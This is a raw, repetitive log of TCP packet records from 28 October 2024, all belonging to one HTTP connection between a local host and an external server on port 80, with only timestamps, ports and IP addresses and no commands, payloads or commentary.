Oct 28, 2024 08:17:16.078895092 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.078931093 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.078949928 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.078965902 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.078984022 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.078999043 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.079016924 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.079025984 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.079025984 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.079034090 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.079071045 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.079083920 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.123168945 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.123188972 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.123205900 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.123389006 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.123389006 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.142432928 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.142450094 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.142492056 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.142513990 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.142540932 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.147804022 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.147862911 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.147867918 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.147885084 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.147906065 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.147933006 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.147999048 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.148015976 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.148041964 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.148046970 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.148060083 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.148067951 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.148083925 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.148088932 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.148101091 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.148117065 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.148133993 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.148144007 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.148149967 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.148155928 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.148164988 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.148176908 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.148200989 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.148206949 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.148888111 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.148922920 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.148937941 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.148938894 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.148968935 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.148978949 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.149317026 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.149333954 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.149349928 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.149365902 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.149365902 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.149375916 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.149396896 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.149436951 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.149672031 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.149688005 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.149723053 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.149733067 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.150268078 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.150284052 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.150300026 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.150315046 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.150316954 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.150331020 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.150341988 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.150365114 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.150391102 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.194514036 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.194538116 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.194554090 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.194581985 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.194597006 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.194612026 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.194685936 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.194685936 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.194685936 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.238404989 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.238424063 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.238449097 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.238462925 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.238476038 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.238656044 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.257767916 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.257854939 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.257924080 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.257941008 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.257957935 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.257973909 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.257998943 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.258009911 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.263008118 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.263036966 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.263055086 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.263062000 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.263075113 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.263079882 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.263092995 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.263099909 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.263112068 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.263128042 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.263169050 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.263206959 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.263211012 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.263223886 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.263238907 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.263243914 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.263257027 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.263281107 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.263508081 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.263535976 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.263549089 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.263551950 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.263572931 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.263590097 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.263632059 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.263647079 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.263669968 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.263679028 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.263819933 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.263845921 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.263859987 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.263863087 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.263880014 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.263881922 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.263896942 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.263906002 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.263919115 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.263937950 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.264206886 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.264252901 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.264260054 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.264275074 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.264291048 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.264301062 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.264318943 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.264329910 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.264579058 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.264605999 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.264620066 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.264621973 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.264636993 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.264645100 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.264659882 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.264659882 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.264682055 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.264700890 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.310094118 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.310153961 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.310170889 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.310178041 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.310204029 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.310215950 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.310215950 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.310220003 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.310250044 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.310261965 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.353750944 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.353775978 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.353790998 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.353815079 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.353815079 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.353828907 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.373003006 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.373055935 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.373080969 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.373096943 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.373097897 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.373097897 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.373112917 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.373131990 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.373131990 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.373176098 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.378181934 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.378252983 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.378268957 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.378293037 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.378293037 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.378302097 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.378880024 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.378904104 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.378920078 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.378935099 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.378936052 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.378948927 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.378951073 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.378973961 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.378973961 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.378983974 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.379005909 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.379023075 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.379039049 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.379054070 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.379054070 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.379055023 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.379070044 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.379076004 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.379086018 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.379101038 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.379117012 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.379117012 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.379362106 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.379399061 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.379414082 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.379425049 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.379435062 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.379498005 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.379513979 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.379517078 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.379537106 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.379549026 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.379565954 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.379586935 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.379586935 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.379601002 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.379947901 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.379973888 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.380000114 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.380008936 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.380008936 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.380017996 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.380033970 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.380055904 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.380055904 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.380074978 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.422995090 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.423059940 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.423075914 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.423125029 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.425349951 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.425374985 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.425391912 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.425406933 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.425411940 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.425411940 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.425422907 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.425431013 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.425448895 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.425456047 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.469152927 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.469168901 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.469185114 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.469243050 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.469243050 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.488322973 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.488348961 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.488363981 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.488379002 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.488401890 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.488420010 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.488465071 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.488465071 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.493647099 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.493663073 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.493679047 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.493711948 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.493721962 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.494256020 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.494271040 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.494286060 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.494299889 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.494312048 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.494352102 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.494352102 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.494359016 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.494375944 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.494410992 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.494410992 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.494415998 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.494431973 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.494446993 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.494462013 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.494476080 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.494476080 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.494477034 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.494510889 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.494510889 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.494919062 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.494934082 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.494955063 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.494968891 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.494997978 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.494997978 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.495042086 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.495099068 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.495115995 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.495119095 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.495160103 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.495160103 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.495187998 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.495203018 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.495218039 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.495233059 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.495233059 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.495246887 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.495255947 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.495270967 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.495280027 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.495280027 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.495285988 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.495301962 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.495318890 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.495318890 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.495336056 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.495336056 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.496047974 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.496205091 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.535012960 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.535068989 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.535090923 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.535135031 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.540584087 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.540620089 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.540636063 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.540663004 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.540663004 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.540677071 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.540688038 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.540704012 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.540719986 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.540749073 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.540749073 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.540793896 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.584439993 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.584464073 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.584481955 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.584682941 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.603775978 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.603794098 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.603811026 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.603856087 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.603867054 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.603878021 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.603895903 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.603930950 CET	49734	80	192.168.2.4	185.215.113.206
